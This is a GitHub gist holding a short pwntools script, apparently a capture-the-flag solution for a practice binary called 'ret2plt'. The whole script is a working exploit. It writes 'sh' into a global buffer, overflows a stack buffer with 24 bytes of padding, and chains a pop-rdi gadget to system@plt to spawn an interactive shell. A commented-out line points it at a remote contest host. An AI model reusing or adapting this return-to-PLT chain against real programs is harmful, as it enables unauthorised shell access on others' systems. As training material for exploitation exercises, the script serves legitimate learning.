Skip to content

Instantly share code, notes, and snippets.

@swt02026
Created March 13, 2019 08:03
Show Gist options
  • Save swt02026/0d9c38b20c2d9fb062bce3e120dd0001 to your computer and use it in GitHub Desktop.
Save swt02026/0d9c38b20c2d9fb062bce3e120dd0001 to your computer and use it in GitHub Desktop.
name_adr=0x601070
system_plt = 0x400520
pop_rdi = 0x0000000000400733
from pwn import *
context.log_level = 'debug'
#r = remote('isc.taiwan-te.ch', 10005)
r=process('ret2plt')
r.sendlineafter('name?\n', 'sh\x00')
r.sendlineafter('something: ', 'a' *24 + p64(pop_rdi) +p64(name_adr)+p64(system_plt))
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment